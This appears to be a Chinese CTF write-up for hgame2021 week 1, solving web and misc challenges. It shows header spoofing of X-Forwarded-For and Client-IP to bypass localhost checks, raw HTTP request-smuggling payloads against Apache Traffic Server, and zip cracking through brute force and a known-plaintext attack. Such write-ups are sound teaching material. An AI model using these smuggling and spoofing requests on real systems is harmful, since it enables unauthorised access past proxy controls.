hgame2021 week1 writeup

目录

  • Web
    • Hitchhiking_in_the_Galaxy
    • watermelon
    • 宝藏走私者
    • 智商检测鸡
    • 走私者的愤怒
  • MISC
    • Base全家福
    • 不起眼压缩包的养成的方法
    • Galaxy
    • Word REMASTER

Web

Hitchhiking_in_the_Galaxy

访问页面,提示“我要搭顺风车!”,打开burpsuite抓包重放,提示405hgame2021 week1 writeup_第1张图片
将GET方法改为POST方法重放,提示“只有使用"无限非概率引擎"(Infinite Improbability Drive)才能访问这里~”hgame2021 week1 writeup_第2张图片
修改User-agent头为:Infinite Improbability Drive
再次重放,提示“特别要求:你得从他的Cardinal过来”

hgame2021 week1 writeup_第3张图片
修改Referer为:https://cardinal.ink/
再次重放,提示“flag仅能通过本地访问获得”
新增X-forwarded-for字段,值为127.0.0.1,拿到flaghgame2021 week1 writeup_第4张图片
hgame{s3Cret_0f_HitCHhiking_in_the_GAl@xy_i5_dOnT_p@nic!}

watermelon

结束一次游戏,发现大于2000分才会返回flag,在project.js中搜索1999,有一个判断,会alert一个字符串
在这里插入图片描述
用base64解码:aGdhbWV7ZG9feW91X2tub3dfY29jb3NfZ2FtZT99
得到flag:hgame{do_you_know_cocos_game?}
另附一个有意思的分析:https://www.zhihu.com/question/440727080/answer/1699641717

宝藏走私者

访问题目,提示SECRET_DATA只能本地访问
hgame2021 week1 writeup_第5张图片
点击超链接跳转到/secret,发现响应包中提示需要client-ip
hgame2021 week1 writeup_第6张图片
将client-ip改为127.0.0.1,发现也不可以,猜测是反代会将真实ip带到后面,同时可以看到服务是ATS/7.1.2,可以联想到HTTP走私
hgame2021 week1 writeup_第7张图片
想要详细了解http走私的可以参考文章:
https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/#toc7

https://paper.seebug.org/1048/#511-te-cl
同时也可以了解一下分块传输格式:
hgame2021 week1 writeup_第8张图片
使用文章中的不同方法构造http走私请求包
hgame2021 week1 writeup_第9张图片
方法一(三个图以示区分,可以自行尝试):
hgame2021 week1 writeup_第10张图片
hgame2021 week1 writeup_第11张图片

hgame2021 week1 writeup_第12张图片
方法二:
hgame2021 week1 writeup_第13张图片
方法三:
hgame2021 week1 writeup_第14张图片

智商检测鸡

发现都是ax+b的定积分,使用sympy库写一个爬虫脚本
脚本如下:

from lxml import etree
from sympy import *
import requests
import json

s = requests.session()

step: int = 0

while true:

    q = s.get('http://r4u.top:5000/api/getQuestion')

    q = json.loads(q.text)['question']

    q = etree.HTML(q)

    a = q.xpath('//math/mrow/msubsup/mrow[1]/mo/text()')[0]

    b = q.xpath('//math/mrow/msubsup/mrow[1]/mn/text()')[0]

    c = q.xpath('//math/mrow/msubsup/mrow[2]/mn/text()')[0]

    d = q.xpath('//math/mrow/mn[1]/text()')[0]

    e = q.xpath('//math/mrow/mn[2]/text()')[0]

    x = symbols('x')

    x = integrate(int(d) * x + int(e), (x, int(a + b), int(c)))

    x = round(x, 2)

    header = {
     
        "Content-Type": "application/json;charset=UTF-8"
    }

    res = s.post('http://r4u.top:5000/api/verify', data='{"answer":' + (daan := str(round(x, 2))) + '}', headers=header)

    step += 1

    print(step, a, b, c, d, e, daan, json.loads(res.text)["result"])

    if step == 100:
        flag = s.get('http://r4u.top:5000/api/getFlag')
        flag = json.loads(flag.text)
        print("flag:", flag["flag"])
        break

走私者的愤怒

同样也是http走私,尝试上面那题的一样的包,提示状态码400,发现一个请求中不能有两个Hosthgame2021 week1 writeup_第15张图片
并且他会自动添加Client-IP,此时发送的第二个请求会变为

GET /secret HTTP/1.1
Client-IP:127.0.0.1
foo:GET / HTTP/1.1
Host: police.liki.link
Content-Length : 47
Client-IP: 你的真实ip

后面的Client-IP会覆盖前面的,就会回显你的真实ip,所以需要这样构造请求
hgame2021 week1 writeup_第16张图片
这时候发送的第二个请求拼接完会变为,后面全变成了请求体

GET /secret HTTP/1.1
Host: police.liki.link
client-ip: 127.0.0.1
Content-Length:200


GET / HTTP/1.1
Host: police.liki.link
Content-Length : 90

GET /secret HTTP/1.1
Host: police.liki.link
client-ip: 127.0.0.1
Content-Length:200

拿到flag
hgame{Fe3l^tHe~4N9eR+oF_5mu9gl3r!!}

MISC

Base全家福

base64:
R1k0RE1OWldHRTNFSU5SVkc1QkRLTlpXR1VaVENOUlRHTVlETVJCV0dVMlVNTlpVR01ZREtSUlVIQTJET01aVUdSQ0RHTVpWSVlaVEVNWlFHTVpER01KWElRPT09PT09

base32:
GY4DMNZWGE3EINRVG5BDKNZWGUZTCNRTGMYDMRBWGU2UMNZUGMYDKRRUHA2DOMZUGRCDGMZVIYZTEMZQGMZDGMJXIQ======

from hex:
6867616D657B57653163306D655F74305F4847344D335F323032317D

flag:
hgame{We1c0me_t0_HG4M3_2021}

不起眼压缩包的养成的方法

binwalk -e 0x4qE_bba7407dbadcd35fd0915ffdac4b74c5.jpg 分离图片中的ziphgame2021 week1 writeup_第17张图片
发现压缩包需要输入密码,以图搜图或直接用ARCHPR爆破8位数字解开,密码为:70415155hgame2021 week1 writeup_第18张图片
发现里面又套了一个加密plain.zip压缩包,并且有明文NO PASSWORD.txt文件,在加密的plain.zip里也存在一个NO PASSWORD.txt,且CRC32相同,可以联想到已知明文攻击,将明文NO PASSWORD.txt单独压缩成NO PASSWORD.zip,压缩方式如图
hgame2021 week1 writeup_第19张图片
回到ARCHPR选择已知明文攻击,拿到密码:C8uvP$DP
hgame2021 week1 writeup_第20张图片
解压出flag.zip,发现是伪加密,用010editor打开,距文件头50 4B 03 04的偏移为6个字节的09改为00,距核心目录区头50 4B 01 02的偏移为8个字节的01改为00,即可打开
hgame2021 week1 writeup_第21张图片
将flag.txt放到010editor中,发现为HTML实体编码,解码拿到flag
hgame2021 week1 writeup_第22张图片
hgame{2IP_is_Usefu1_and_Me9umi_i5_W0r1d}

Galaxy

Wireshark导出http对象,可以见到一个galaxy.png,修改高度(蓝色位置),flag就出现了
hgame2021 week1 writeup_第23张图片
hgame2021 week1 writeup_第24张图片

Word REMASTER

拿到压缩包,用7zip打开first.docx(或者直接修改后缀为.zip打开),在word目录下存在password.xml,可以联想到为brainfuck编码
解码工具:https://www.splitbrain.org/services/ook
hgame2021 week1 writeup_第25张图片
解码后得到maimai.docx的密码DOYOUKNOWHIDDEN?
打开word,勾选文件-选项-显示-隐藏文字,发现了一段由tab和空格组成的内容,将其框选-右键-字体,取消勾选隐藏

hgame2021 week1 writeup_第26张图片
hgame2021 week1 writeup_第27张图片
将其复制到编辑器内(图省事直接扔到vscode里保存为target.c了)hgame2021 week1 writeup_第28张图片
使用stegsnow工具解出flag
hgame{Cha11en9e_Whit3_P4ND0R4_P4R4D0XXX}

你可能感兴趣的:(ctf)